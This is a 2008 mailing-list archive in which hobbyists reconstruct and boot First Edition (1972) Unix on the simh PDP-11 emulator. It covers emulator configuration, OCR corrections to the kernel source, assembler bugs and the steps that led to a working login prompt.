http://www.unlambda.com/download/pdp11/unix-jun72/simhv36-1-ke.tar.gz

>Also what configuration are you using?  I have this so far:
>
>   set tc enabled
>   att tc tape.dt
>   set rk3 enabled
>   att rk3 rk0.dsk
>   set rf enabled
>   att rf rf0.dsk
>   set cpu 11/20
>   set cpu 32K

I'm using this:

set cpu 11/20
set hk disabled
set rha disabled
set tm disabled
set rx disabled
set rl disabled
set tq disabled
set rk3 enabled
att rk3 rk3.dsk
set tc enabled
set rf enabled
set ke enabled
set cpu 32K
load loadfile
d pc 400
set cpu history=1000
attach rf rf0.dsk

I forgot to include my a.out->loadfile conversion program.  I'll check it
in to svn.

>Have you gotten far enough that it writes out the full primitive
>root on rf0 so that you can reboot and get init going?

No - it writes a bunch of blocks to rf0 but no directories.

The 'zero i list' appears to work, and the code to init i-node 41-47 runs
but nothing gets written.  Or if it does the wrong thing gets written.  not
sure why.

To debug I sprinkle "halt"'s in the code and then do "show cpu history"
to see what happened.

As a sanity check I also do 'e 0-40' and 'e 400-440' to make sure
location 34 (iot vector) is filled in and the code at 400 is correct (it
loads the sp with 60000).

I might turn on some RF debug to see exactly what gets written when.

-brad



From wkt at tuhs.org  Fri May  2 23:44:43 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Fri, 2 May 2008 23:44:43 +1000
Subject: [Unix-jun72] mkfs src
Message-ID: <20080502134443.GA6621@minnie.tuhs.org>

OK, I've got it to the point where is makes _a_ filesystem, and now I'm off
to bed. The image looks fine to me, but I thought I'd pass the source code
around in case someone spots an incorrect assumption that I've made, or a bug.

I have created an RK03 image using the V1 binaries off the s2 tape. I then
ran V1 check on the image; here is what it said:

# check rk.img
   0 files
   0 large
   0 indirect
   0 used
3420 free

Not exactly fantastic, but much better than when I gave check a random
file to digest :)

Good night!
	Warren

P.S cc -o mkfs -Wall mkfs.c
-------------- next part --------------
A non-text attachment was scrubbed...
Name: mkfs.c.gz
Type: application/x-gunzip
Size: 4252 bytes
Desc: not available
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20080502/b2dd955d/attachment.bin>

From jam at magic.com  Sat May  3 01:23:09 2008
From: jam at magic.com (James A. Markevitch)
Date: Fri, 2 May 2008 08:23:09 -0700 (PDT)
Subject: [Unix-jun72] OCR of PreliminaryUnixImplementationDocument_Jun72.pdf
Message-ID: <200805021523.IAA20947@mist.magic.com>

I'm sending Brad a copy of a different OCR of the document that he
can use to check against the current one.  The file also includes
various fixes to bugs in the original document.

Presumably, he'll incorporate anything differences into the svn.

James Markevitch


From newsham at lava.net  Sat May  3 03:05:49 2008
From: newsham at lava.net (Tim Newsham)
Date: Fri, 2 May 2008 07:05:49 -1000 (HST)
Subject: [Unix-jun72] cold boot tape
In-Reply-To: <Pine.BSI.4.64.0805011810520.20114@malasada.lava.net>
References: <Pine.BSI.4.64.0805011810520.20114@malasada.lava.net>
Message-ID: <Pine.BSI.4.64.0805020658220.20114@malasada.lava.net>

> I wrote a utility for building a cold boot tape and included it in the
> tools directory.  Its not yet tested so its possible I got the format
> wrong... its based on my reading of init at the end of u0.s.

It occurs to me that the tape is probably meant to be bootable.
The init program seeks to the 65th block to start booting, so blocks
0 through 64 can be used to hold a bootable kernel image or two.
I'm guessing we could make a tape as:

     blocks 0-31  - the "cold" kernel
     blocks 32-64 - the real kernel
     blocks 65-   - the contents of /bin and /etc

boot the cold kernel from tape, have it write out a primordeal root
file system on rf0.  Boot the real kernel from tape, have it
run the /etc/init that the cold kernel put onto rf0 which reads
files from blocks 65 onwards on the tape.  Finally reboot the real
kernel from tape again and be in a real system.

By the way, I made some tape images from the s2 binaries (just /etc
and /bin, /usr is probably meant to go onto rk0):

    http://www.thenewsh.com/%7Enewsham/unix_jun72/tape
        - the raw tape bits with the first 65 blocks empty
    http://www.thenewsh.com/%7Enewsham/unix_jun72/tape.tc
        - a simh format tape of the above bits

the tape image isnt tested yet.  It should hopefully have the right
uids and file modes for first ed.

Tim Newsham
http://www.thenewsh.com/~newsham/


From Hellwig.Geisse at mni.fh-giessen.de  Sat May  3 02:57:22 2008
From: Hellwig.Geisse at mni.fh-giessen.de (Hellwig Geisse)
Date: Fri, 02 May 2008 18:57:22 +0200
Subject: [Unix-jun72] Minor errors
Message-ID: <1209747442.5140.1012.camel@papa>

I just did a 'grep' of some suspicious
character combinations and found the following:

e00-04:/ initialize i-nodes r1.,...,47. and wr1te the root device,
binary, etc.,
e04-01:       bne     3f /Is1t zero now?
e08-05:       bis     $103,r3 / now rbn,for,un1t,1e
e04-03:1: / flle just opened
e05-04: cmp     r1, ii / r1 = i-number of current flle
e03-01:       jsr     r0,rswap / read new process 1nto core
e04-04:       cmp     r1,$12 / is char a l1ne feed
e06-02:         br ret / it 1n r1; 1f there 1s no problem with reader,
it
e06-02: inc     *u.fofp / increment file offset to point to 'next' char
1n
e08-03:       br      1f / branch if block already 1n a I/O buffer
e08-03:       bis     $2000,(r5) / set read mu (bu: 100 1n 1/0 buffer)
e08-06:       bit    $173000,(r5) / lock+keep+active+outstand1ng
e11-07: cmp     0b,$1nbuf+256. / have we exceeded innut buffer size
e06-04: inc     *u.fofp / increment f11e offset to point to next
available
e06-05:  mov    r2,i.size / yes, increase the f11e size to file offset +
e06-06:                    / be written to the f11e
e08-03:tstdeve: / check whether permanent error has occured on special
f11e
e03-02:                        / to end of stack gets written out) ~
e08-03:       mov     u.base,r2 / put users base in r2 ~
e11-01: cdpb    B(r5),$'- / was this sh calleZd by init or loginx~
e03-02:       cmp     r2,$core / is u.break less than Score

As you can see, the errors are almost exclusively in
the comments. Someone with write access to the svn
repository could perhaps take care of that.

Hellwig



From newsham at lava.net  Sat May  3 03:40:53 2008
From: newsham at lava.net (Tim Newsham)
Date: Fri, 2 May 2008 07:40:53 -1000 (HST)
Subject: [Unix-jun72] warning: 1972_stuff as!
Message-ID: <Pine.BSI.4.64.0805020736330.20114@malasada.lava.net>

I just noticed that the 1972_stuff "as" program generates:

     400   MOV #120000,SP

for

     core = orig+40000  / specifies beginning of user's core
     ecore = core+20000 / specifies end of user's core (4096 words)
     [...]
      . = orig+400
     / copy in transfer vectors
         mov    $ecore,sp / put pointer to score in the stack pointer

while the V7 assembler is generating the correct:

     400:    MOV #60000,SP

I have no idea why it is doing this.  The 1972_stuff "nm" program
correctly lists ecore as 60000.

Use the 1972_stuff "as" at your own risk!

Tim Newsham
http://www.thenewsh.com/~newsham/


From brad at heeltoe.com  Sat May  3 03:52:10 2008
From: brad at heeltoe.com (Brad Parker)
Date: Fri, 02 May 2008 13:52:10 -0400
Subject: [Unix-jun72] OCR of
	PreliminaryUnixImplementationDocument_Jun72.pdf
In-Reply-To: <200805021523.IAA20947@mist.magic.com> 
References: <200805021523.IAA20947@mist.magic.com>
Message-ID: <19143.1209750730@mini>


"James A. Markevitch" wrote:
>I'm sending Brad a copy of a different OCR of the document that he
>can use to check against the current one.  The file also includes
>various fixes to bugs in the original document.
>
>Presumably, he'll incorporate anything differences into the svn.

I made a diff and put all the changes to the kernel in svn.  I just
checked it in.

I tried "cold=1" and it seems to have written a file system to the RF
disk.  It looks correct from a dump anyway.

I think the init dies because "sys read" does not work and there are
still missing pages.

I'll add the missing pages from James' work next.

-brad



From brad at heeltoe.com  Sat May  3 03:56:14 2008
From: brad at heeltoe.com (Brad Parker)
Date: Fri, 02 May 2008 13:56:14 -0400
Subject: [Unix-jun72] Minor errors
In-Reply-To: <1209747442.5140.1012.camel@papa> 
References: <1209747442.5140.1012.camel@papa>
Message-ID: <19240.1209750974@mini>


Hellwig Geisse wrote:
>I just did a 'grep' of some suspicious
>character combinations and found the following:

many of those should be fixed now - I just did a large commit
with diffs from James's OCR version.

-brad


From newsham at lava.net  Sat May  3 04:12:22 2008
From: newsham at lava.net (Tim Newsham)
Date: Fri, 2 May 2008 08:12:22 -1000 (HST)
Subject: [Unix-jun72] OCR of
	PreliminaryUnixImplementationDocument_Jun72.pdf
In-Reply-To: <19143.1209750730@mini>
References: <200805021523.IAA20947@mist.magic.com> <19143.1209750730@mini>
Message-ID: <Pine.BSI.4.64.0805020812020.20114@malasada.lava.net>

> I think the init dies because "sys read" does not work and there are
> still missing pages.

also you have "read" commented out of sys1.s?

> -brad

Tim Newsham
http://www.thenewsh.com/~newsham/


From brad at heeltoe.com  Sat May  3 04:16:06 2008
From: brad at heeltoe.com (Brad Parker)
Date: Fri, 02 May 2008 14:16:06 -0400
Subject: [Unix-jun72] Minor errors
In-Reply-To: <19240.1209750974@mini> 
References: <1209747442.5140.1012.camel@papa> <19240.1209750974@mini>
Message-ID: <19878.1209752166@mini>


I checked in the missing pages;  Now the only errors are due to
fpsum and the missing "sys read".

The cold=1 build does seem to write the file system.  There's still a
problem however.  I notice that that after the initial file system is
all written, the code does an RF read with a large positive word count
(this is bad, since the WC should be negative).  I'll be it's the
exec.

I think the exec of "init" is causing this, and the same thing happens
when I run a cold=0 load after building the file system.  But who knows.

So, we're closer.  Many thanks to James for offering his OCR version.
I'll put it up on my web site later today and send out an email,
along with the diff files.

-brad




From brad at heeltoe.com  Sat May  3 04:17:17 2008
From: brad at heeltoe.com (Brad Parker)
Date: Fri, 02 May 2008 14:17:17 -0400
Subject: [Unix-jun72] OCR of
	PreliminaryUnixImplementationDocument_Jun72.pdf
In-Reply-To: <Pine.BSI.4.64.0805020812020.20114@malasada.lava.net> 
References: <200805021523.IAA20947@mist.magic.com> <19143.1209750730@mini>
	<Pine.BSI.4.64.0805020812020.20114@malasada.lava.net>
Message-ID: <19937.1209752237@mini>


Tim Newsham wrote:
>> I think the init dies because "sys read" does not work and there are
>> still missing pages.
>
>also you have "read" commented out of sys1.s?

yes, I think it has to be for this asm.

I changed the "sys read"'s to "sys _read" and then added "_read = 3."
as an experiment.  I think we'll have to sed that in eventually.

-brad


From newsham at lava.net  Sat May  3 04:40:15 2008
From: newsham at lava.net (Tim Newsham)
Date: Fri, 2 May 2008 08:40:15 -1000 (HST)
Subject: [Unix-jun72] OCR of
	PreliminaryUnixImplementationDocument_Jun72.pdf
In-Reply-To: <19937.1209752237@mini>
References: <200805021523.IAA20947@mist.magic.com> <19143.1209750730@mini>
	<Pine.BSI.4.64.0805020812020.20114@malasada.lava.net>
	<19937.1209752237@mini>
Message-ID: <Pine.BSI.4.64.0805020835260.20114@malasada.lava.net>

>> also you have "read" commented out of sys1.s?
>
> yes, I think it has to be for this asm.

There was previously a "read:" in u6.s, but it turned out to be
a typo for "readi".  I think its safe to use "read" now.

Btw, I built from latest sources and installed into simh and
ran and got some action on rf0 but I don't see any non-zero bytes
in the image after running.  It ended up in panic.  Is it possible
you have some changes that arent checked in?

I am using the clean sources with the addition of "read" in sys1.s,
an extra line of "4;4;unkni;0;fpsym;0" in u0.s and "cold = 1" instead
of zero.  My simh config is:

set cpu 11/20
set cpu 32K
set rk3 enabled
att rk3 rk0.dsk
set rf 2p
set rf enabled
attach rf rf0.dsk
set tc enabled
att tc tape.tc
set hk disabled
set rha disabled
set tm disabled
set rx disabled
set rl disabled
set tq disabled
set tc enabled
set rf enabled
set ke enabled
set cpu history=1000
d pc 400
[... lots of lines to deposit a.out into memory...]

I built as "as - sys1.s u?.s".

I run with "go" and then after the first halt "go" again.  Hitting
^E after waiting a while shows that its looping in panic.

> -brad

Tim Newsham
http://www.thenewsh.com/~newsham/


From brad at heeltoe.com  Sat May  3 04:50:08 2008
From: brad at heeltoe.com (Brad Parker)
Date: Fri, 02 May 2008 14:50:08 -0400
Subject: [Unix-jun72] OCR of
	PreliminaryUnixImplementationDocument_Jun72.pdf
In-Reply-To: <Pine.BSI.4.64.0805020835260.20114@malasada.lava.net> 
References: <200805021523.IAA20947@mist.magic.com> <19143.1209750730@mini>
	<Pine.BSI.4.64.0805020812020.20114@malasada.lava.net>
	<19937.1209752237@mini>
	<Pine.BSI.4.64.0805020835260.20114@malasada.lava.net>
Message-ID: <20651.1209754208@mini>


Tim Newsham wrote:
>
>There was previously a "read:" in u6.s, but it turned out to be
>a typo for "readi".  I think its safe to use "read" now.

ah ok, thanks.

>Btw, I built from latest sources and installed into simh and
>ran and got some action on rf0 but I don't see any non-zero bytes
>in the image after running.  It ended up in panic.  Is it possible
>you have some changes that arent checked in?

I don't think so, but I'll check.  I think all I did was set cold=1
and rebuilt.  Make sure you use my "eae" version of simh.

I'm building with the v7 asm and using "ml" to process the a.out

>I am using the clean sources with the addition of "read" in sys1.s,
>an extra line of "4;4;unkni;0;fpsym;0" in u0.s and "cold = 1" instead
>of zero.

yes, that seems right.

>set cpu 11/20
>set cpu 32K
>set rk3 enabled
>att rk3 rk0.dsk
>set rf 2p
>set rf enabled
>attach rf rf0.dsk
>set tc enabled
>att tc tape.tc
>set hk disabled
>set rha disabled
>set tm disabled
>set rx disabled
>set rl disabled
>set tq disabled
>set tc enabled
>set rf enabled
>set ke enabled
>set cpu history=1000
>d pc 400
>[... lots of lines to deposit a.out into memory...]

That looks ok.  I don't have tc setup, but that should not matter.

>I built as "as - sys1.s u?.s".

same here, but I don't add the "-" (not sure what that does)

>I run with "go" and then after the first halt "go" again.  Hitting
>^E after waiting a while shows that its looping in panic.

Try "det rf".  I noticed that the RF device is buffered in ram
and I'm not sure it gets flushed until you detach.

-brad



From newsham at lava.net  Sat May  3 04:59:53 2008
From: newsham at lava.net (Tim Newsham)
Date: Fri, 2 May 2008 08:59:53 -1000 (HST)
Subject: [Unix-jun72] OCR of
	PreliminaryUnixImplementationDocument_Jun72.pdf
In-Reply-To: <20651.1209754208@mini>
References: <200805021523.IAA20947@mist.magic.com> <19143.1209750730@mini>
	<Pine.BSI.4.64.0805020812020.20114@malasada.lava.net>
	<19937.1209752237@mini>
	<Pine.BSI.4.64.0805020835260.20114@malasada.lava.net>
	<20651.1209754208@mini>
Message-ID: <Pine.BSI.4.64.0805020856570.20114@malasada.lava.net>

>> I built as "as - sys1.s u?.s".
>
> same here, but I don't add the "-" (not sure what that does)

I tried without the dash and with the "det rf" and now I'm getting
an rf0 image.  The dash is supposed to ignore unresolved symbols.
(I added my assemv7 script to tools for building with the v7 "as"
using apout)

btw, what do we have to do about fpsym?

> -brad

Tim Newsham
http://www.thenewsh.com/~newsham/


From brad at heeltoe.com  Sat May  3 05:01:32 2008
From: brad at heeltoe.com (Brad Parker)
Date: Fri, 02 May 2008 15:01:32 -0400
Subject: [Unix-jun72] OCR of
	PreliminaryUnixImplementationDocument_Jun72.pdf
In-Reply-To: <Pine.BSI.4.64.0805020856570.20114@malasada.lava.net> 
References: <200805021523.IAA20947@mist.magic.com> <19143.1209750730@mini>
	<Pine.BSI.4.64.0805020812020.20114@malasada.lava.net>
	<19937.1209752237@mini>
	<Pine.BSI.4.64.0805020835260.20114@malasada.lava.net>
	<20651.1209754208@mini>
	<Pine.BSI.4.64.0805020856570.20114@malasada.lava.net>
Message-ID: <20903.1209754892@mini>


Tim Newsham wrote:
>
>btw, what do we have to do about fpsym?

I think we can ignore it for now (or just stub it out). It's just for
floating point emulation near as I can tell, which I don't think we'll
need for init & sh.

-brad



From newsham at lava.net  Sat May  3 05:06:59 2008
From: newsham at lava.net (Tim Newsham)
Date: Fri, 2 May 2008 09:06:59 -1000 (HST)
Subject: [Unix-jun72] OCR of
	PreliminaryUnixImplementationDocument_Jun72.pdf
In-Reply-To: <20903.1209754892@mini>
References: <200805021523.IAA20947@mist.magic.com> <19143.1209750730@mini>
	<Pine.BSI.4.64.0805020812020.20114@malasada.lava.net>
	<19937.1209752237@mini>
	<Pine.BSI.4.64.0805020835260.20114@malasada.lava.net>
	<20651.1209754208@mini>
	<Pine.BSI.4.64.0805020856570.20114@malasada.lava.net>
	<20903.1209754892@mini>
Message-ID: <Pine.BSI.4.64.0805020905120.20114@malasada.lava.net>

Btw, the file it tries to run at the end of u0.s's init is
</ect/init> [sic].  I entered the name as it appeared in the
printout, but its likely a typo -- have you tried running with
this fixed?

Tim Newsham
http://www.thenewsh.com/~newsham/


From brad at heeltoe.com  Sat May  3 06:35:18 2008
From: brad at heeltoe.com (Brad Parker)
Date: Fri, 02 May 2008 16:35:18 -0400
Subject: [Unix-jun72] OCR of
	PreliminaryUnixImplementationDocument_Jun72.pdf
In-Reply-To: <Pine.BSI.4.64.0805020905120.20114@malasada.lava.net> 
References: <200805021523.IAA20947@mist.magic.com> <19143.1209750730@mini>
	<Pine.BSI.4.64.0805020812020.20114@malasada.lava.net>
	<19937.1209752237@mini>
	<Pine.BSI.4.64.0805020835260.20114@malasada.lava.net>
	<20651.1209754208@mini>
	<Pine.BSI.4.64.0805020856570.20114@malasada.lava.net>
	<20903.1209754892@mini>
	<Pine.BSI.4.64.0805020905120.20114@malasada.lava.net>
Message-ID: <21945.1209760518@mini>


Tim Newsham wrote:
>Btw, the file it tries to run at the end of u0.s's init is
></ect/init> [sic].  I entered the name as it appeared in the
>printout, but its likely a typo -- have you tried running with
>this fixed?

yes, I tried it but no effect.  I don't think it's getting that far
to be honest.

if it where, I'd expect it to hang trying to read the dectape.  but
I didn't really look, maybe it errors out and does try it.

-brad


From newsham at lava.net  Sat May  3 07:03:01 2008
From: newsham at lava.net (Tim Newsham)
Date: Fri, 2 May 2008 11:03:01 -1000 (HST)
Subject: [Unix-jun72] ... in case you wanted to play along.
Message-ID: <Pine.BSI.4.64.0805021057070.20114@malasada.lava.net>

Here's the current status on how to use the files:

   - svn to the latest version
   - install v7 binaries somewhere (ie /tmp/v7)
   - install apout somewhere (ie /tmp/apout2.3alpha2)
   - update paths in tools/assemv7
   - compile tools/ml.c into tools/ml
   - build simh's pdp11 emulator using brad's patches at
     http://www.unlambda.com/download/pdp11/unix-jun72/KE.diff
     install into tools/pdp11
   - run ./tools/assemv7 to make files in build/*
   - run ./simh.cfg to run the emulator
   - type "go" to start it
   - type "go" at the first halt to continue writing over your rf0 disk
   - after waiting for a while, type control-e and then "det rf" and
     then "quit"
   - you should now have some data written over your rf0.dsk image.

Next steps:

   - continue debugging the cold boot process.  This should eventually
     let us install a full root disk image from the kernel and a
     tape construct with 1972_stuff s2 /bin and /etc files.
   - get a working mkfs and use it to build and populate the rk03 disk
     with the 1972_stuff s2 /usr files.
   - continue debugging the kernel to boot the rf0 disk and mount the
     rk03 disk on /usr.

Tim Newsham
http://www.thenewsh.com/~newsham/


From brad at heeltoe.com  Sat May  3 07:04:33 2008
From: brad at heeltoe.com (Brad Parker)
Date: Fri, 02 May 2008 17:04:33 -0400
Subject: [Unix-jun72] some progress
In-Reply-To: <21945.1209760518@mini> 
Message-ID: <22705.1209762273@mini>


Apparently this instruction:

	mov    $[systm-inode]\/2,sb0+4 / sets up initial buffers per

is not doing the right thing.  I have not looked closely yet, but it should
put -109. in the sb0+4, but instead it puts a large positive number.

This is the top of the buffer, which has a WC and address in it; and it's
used to read the superblock from the RF.

anyway, when I change it to:

	mov    $-109.,sb0+4

things work much better.  I have run to a baseball game (little league :-)
but I'll retry the cold=1 later tonight; it may work better.

-brad




From newsham at lava.net  Sat May  3 07:34:13 2008
From: newsham at lava.net (Tim Newsham)
Date: Fri, 2 May 2008 11:34:13 -1000 (HST)
Subject: [Unix-jun72] some progress
In-Reply-To: <22705.1209762273@mini>
References: <22705.1209762273@mini>
Message-ID: <Pine.BSI.4.64.0805021115130.20114@malasada.lava.net>

> 	mov    $[systm-inode]\/2,sb0+4 / sets up initial buffers per

hmm, thats quite irritating.  It's computing $[systm-inode] to be
0177446 (correct) and then doing an unsigned divide by two to get
077623 instead of a signed divide by two to get 177623.

I verified that the v2 assembler behaves differently.
I can't think of a quick fix here...

> -brad

Tim Newsham
http://www.thenewsh.com/~newsham/


From jam at magic.com  Sat May  3 09:51:09 2008
From: jam at magic.com (James A. Markevitch)
Date: Fri, 2 May 2008 16:51:09 -0700 (PDT)
Subject: [Unix-jun72] UNIX running up to init, I think
Message-ID: <200805022351.QAA22591@mist.magic.com>

Hey guys.

I saw the thread about the assembler doing divide by 2 the wrong way.
I took a look at my assembler and it had a similar bug.  I fixed my
assembler, then ran the code again.

It correctly writes the RF11 image (as best as I can tell), then reads
/etc/init into the user area and executes it.  I left the TC11 disabled
on my run and it panics when /etc/init tries to read the tape.

To double-check, I ran the warm boot and it successfully gets into
the /etc/init user code as well, so I'm pretty confident the image
is right.

As far as I can tell, the source code I sent out this morning has no
problems.  Most likely, you guys are fighting assembler and/or other
tool issues.

I'll cobble together a bootable RF11 image (assuming that there really
are no kernel problems) and send out a copy of that.  Once everyone
has that, they should be able to continue generating tapes and RK03
images of other executables, etc.  I can include a copy of the
assembler listing file for both warm and cold boots so that everyone
can have a reference while they are debugging.

I've also got the M792 boot (from the documentation) as well as an
untested bos.s.  If those work, then the RF11 image I send out will
be pretty close to authentic.  Otherwise, you will still need to load
the kernel into core with the "load" command.

James Markevitch


From newsham at lava.net  Sat May  3 10:06:50 2008
From: newsham at lava.net (Tim Newsham)
Date: Fri, 2 May 2008 14:06:50 -1000 (HST)
Subject: [Unix-jun72] UNIX running up to init, I think
In-Reply-To: <200805022351.QAA22591@mist.magic.com>
References: <200805022351.QAA22591@mist.magic.com>
Message-ID: <Pine.BSI.4.64.0805021404250.20114@malasada.lava.net>

> It correctly writes the RF11 image (as best as I can tell), then reads
> /etc/init into the user area and executes it.  I left the TC11 disabled
> on my run and it panics when /etc/init tries to read the tape.

*nod* we're running up to init in the cold boot kernel and getting
into the code that reads the 65th block off the tape.  At this
point we only get 1 byte of data into the read buffer, though.
(not sure if this is due to simh, the kernel or some other issue).

to work around the asembler divide issue I had to sed the source
during build time.  These hacks are all incorporated into the
tools/assemv7 script.

it might be fun to try to use Warren's mkfs.c program to preload
the root disk and boot warm with it.

> James Markevitch

Tim Newsham
http://www.thenewsh.com/~newsham/


From brad at heeltoe.com  Sat May  3 11:03:48 2008
From: brad at heeltoe.com (Brad Parker)
Date: Fri, 02 May 2008 21:03:48 -0400
Subject: [Unix-jun72] UNIX running up to init, I think
In-Reply-To: <Pine.BSI.4.64.0805021404250.20114@malasada.lava.net> 
References: <200805022351.QAA22591@mist.magic.com>
	<Pine.BSI.4.64.0805021404250.20114@malasada.lava.net>
Message-ID: <25892.1209776628@mini>


Some debugging in simh makes it look like attaching the raw file (512 byte
blocks) is correct and simh is geting the data:

>>DT0: read block 65 forward
ba 40400, data 1672, pos 152927
ba 40401, data 164755, pos 152933
ba 40402, data 72145, pos 152939
ba 40403, data 27543, pos 152945
ba 40404, data 67151, pos 152951
ba 40405, data 72151, pos 152957
ba 40406, data 0, pos 152963
ba 40407, data 0, pos 152969
ba 40410, data 0, pos 152975
ba 40411, data 0, pos 152981

that matches the contents of my files.

but it doesn't seem like the dma is making it to userland.  Perhaps it's
getting into the kernel buffer but not the user buffer.  I just copied
the sysread code verbatim and didn't look at the closely.

I'll do more debugging tomorrow.  Seems like we're closing in.

(hmm. just noticed that ba 40400 != 40222)

-brad


From wkt at tuhs.org  Sat May  3 11:39:20 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Sat, 3 May 2008 11:39:20 +1000
Subject: [Unix-jun72] ... in case you wanted to play along.
In-Reply-To: <Pine.BSI.4.64.0805021057070.20114@malasada.lava.net>
References: <Pine.BSI.4.64.0805021057070.20114@malasada.lava.net>
Message-ID: <20080503013920.GA34874@minnie.tuhs.org>

On Fri, May 02, 2008 at 11:03:01AM -1000, Tim Newsham wrote:
> Here's the current status on how to use the files:
> 
>    - svn to the latest version
>    - install v7 binaries somewhere (ie /tmp/v7)
>    - install apout somewhere (ie /tmp/apout2.3alpha2)
>    - update paths in tools/assemv7

Tim, a small suggestion, could you modify assemv7 to source a config file
at the top, e.g:

# settings: insert lines similar to these in your config file
# APOUT=/usr/home/wkt/.bin/apout
# APOUT_ROOT=/usr/local/src/V7
# COLD=1
# 
. tools/assemv7.cfg

so that we don't have to modify the script that comes out of svn, but we
can edit a separate file which isn't in the svn repository. That'd be great!

Thanks,
	Warren


From newsham at lava.net  Sat May  3 11:41:26 2008
From: newsham at lava.net (Tim Newsham)
Date: Fri, 2 May 2008 15:41:26 -1000 (HST)
Subject: [Unix-jun72] UNIX running up to init, I think
In-Reply-To: <25892.1209776628@mini>
References: <200805022351.QAA22591@mist.magic.com>
	<Pine.BSI.4.64.0805021404250.20114@malasada.lava.net>
	<25892.1209776628@mini>
Message-ID: <Pine.BSI.4.64.0805021535390.20114@malasada.lava.net>

> but it doesn't seem like the dma is making it to userland.  Perhaps it's
> getting into the kernel buffer but not the user buffer.  I just copied
> the sysread code verbatim and didn't look at the closely.
>
> I'll do more debugging tomorrow.  Seems like we're closing in.

There was a missing branch instruction when copying from kernel buffer to 
userland buffer on page e08-02.  I added the branch and a note about it 
and committed.  (without the branch it will only ever copy one byte to 
userland).  Now my cold boot is writing files off the tape onto the rk0 
image.

> -brad

Tim Newsham
http://www.thenewsh.com/~newsham/


From newsham at lava.net  Sat May  3 11:46:39 2008
From: newsham at lava.net (Tim Newsham)
Date: Fri, 2 May 2008 15:46:39 -1000 (HST)
Subject: [Unix-jun72] ... in case you wanted to play along.
In-Reply-To: <20080503013920.GA34874@minnie.tuhs.org>
References: <Pine.BSI.4.64.0805021057070.20114@malasada.lava.net>
	<20080503013920.GA34874@minnie.tuhs.org>
Message-ID: <Pine.BSI.4.64.0805021544540.20114@malasada.lava.net>

> Tim, a small suggestion, could you modify assemv7 to source a config file
> at the top, e.g:

good idea.  done.

Btw, feel free to alter any of the tools.  I don't want people to
feel like I'm the only one allowed to touch them.

I also made the "cold" option a command line option.  Running
"assemv7 cold" will give you a "cold" kernel.  Runing "assemv7"
will give you a normal kernel.

> 	Warren

Tim Newsham
http://www.thenewsh.com/~newsham/


From wkt at tuhs.org  Sat May  3 11:53:21 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Sat, 3 May 2008 11:53:21 +1000
Subject: [Unix-jun72] ... in case you wanted to play along.
In-Reply-To: <Pine.BSI.4.64.0805021057070.20114@malasada.lava.net>
References: <Pine.BSI.4.64.0805021057070.20114@malasada.lava.net>
Message-ID: <20080503015321.GA35705@minnie.tuhs.org>

On Fri, May 02, 2008 at 11:03:01AM -1000, Tim Newsham wrote:
> Here's the current status on how to use the files:
	....

>    - run ./simh.cfg to run the emulator
>    - type "go" to start it
>    - type "go" at the first halt to continue writing over your rf0 disk
>    - after waiting for a while, type control-e and then "det rf" and
>      then "quit"
>    - you should now have some data written over your rf0.dsk image.

I've done this, and now have an rf0.dsk which I can use to compare against
the output of my mkfs. I tried validating the image with V1 check:

	apout /usr/local/src/V1/bin/check rf0.dsk

Lots of inode errors, but at least check thinks there are files:

   . . .
5535 bad; i = 498i
5535 bad; i = 498i
  81 files
  81 large
 552 indirect
 552 used
 255 dup; i =   0f
 647 free
 343 missing

So things are progressing! I wish the docs were more informative as to
how to understand the output of check.

Cheers,
	Warren


From newsham at lava.net  Sat May  3 11:55:13 2008
From: newsham at lava.net (Tim Newsham)
Date: Fri, 2 May 2008 15:55:13 -1000 (HST)
Subject: [Unix-jun72] ... in case you wanted to play along.
In-Reply-To: <Pine.BSI.4.64.0805021057070.20114@malasada.lava.net>
References: <Pine.BSI.4.64.0805021057070.20114@malasada.lava.net>
Message-ID: <Pine.BSI.4.64.0805021552070.20114@malasada.lava.net>

To build a rf image using the cold boot:

    - svn update to the latest.
    - run "tools/assemv7 cold" to make a cold image
    - run "./simh.cfg"
    - "break 40160"  this is the "close" syscall at the end of
      processing the tape
    - "go"
    - "go" again if you're sure you want to overwrite your rf image
    - after a few seconds you're at 40160 and your disk is made.
      if you "go" again it will run /etc/init but you will get no
      output.  I think we need the DC-11 for this.

at this point you should be able to run a normal kernel with

    - "tools/assemv7" to make a normal kernel
    - run "./simh.cfg"
    - "go"

but you won't see any output and I havent verified that it's doing
anything useful yet.

Tim Newsham
http://www.thenewsh.com/~newsham/


From wkt at tuhs.org  Sat May  3 12:25:54 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Sat, 3 May 2008 12:25:54 +1000
Subject: [Unix-jun72] ... in case you wanted to play along.
In-Reply-To: <Pine.BSI.4.64.0805021552070.20114@malasada.lava.net>
References: <Pine.BSI.4.64.0805021057070.20114@malasada.lava.net>
	<Pine.BSI.4.64.0805021552070.20114@malasada.lava.net>
Message-ID: <20080503022554.GA36595@minnie.tuhs.org>

On Fri, May 02, 2008 at 03:55:13PM -1000, Tim Newsham wrote:
> To build a rf image using the cold boot:
>     - svn update to the latest.
>     - run "tools/assemv7 cold" to make a cold image
>     - run "./simh.cfg"
>     - "break 40160"  this is the "close" syscall at the end of
>       processing the tape
>     - "go"
>     - "go" again if you're sure you want to overwrite your rf image

Don't forget to "det rf" and "quit" to make sure the rf0.dsk image is
written out correctly.

V1 check gives this output on the above rf0.dsk image:

  62 files
  62 large
 322 indirect
9976 used
 406 free
 552 missing

but that's skipping the bad/dup i messages.

Cheers,
	Warren


From newsham at lava.net  Sat May  3 13:23:09 2008
From: newsham at lava.net (Tim Newsham)
Date: Fri, 2 May 2008 17:23:09 -1000 (HST)
Subject: [Unix-jun72] login prompt!
Message-ID: <Pine.BSI.4.64.0805021721570.20114@malasada.lava.net>

The tape I made earlier didnt properly preserve the permissions so
booting failed to exec /etc/init (had no exec bit set).  I fixed
my tape builder to get the permissions from the old Readme file
and regenerated a tape..

The good news:  login prompt!
I just built rf0 in the usual way, then rebuilt a warm kernel and
booted it.

Tim Newsham
http://www.thenewsh.com/~newsham/


From newsham at lava.net  Sat May  3 13:25:00 2008
From: newsham at lava.net (Tim Newsham)
Date: Fri, 2 May 2008 17:25:00 -1000 (HST)
Subject: [Unix-jun72] login prompt!
In-Reply-To: <Pine.BSI.4.64.0805021721570.20114@malasada.lava.net>
References: <Pine.BSI.4.64.0805021721570.20114@malasada.lava.net>
Message-ID: <Pine.BSI.4.64.0805021724400.20114@malasada.lava.net>

> The good news:  login prompt!

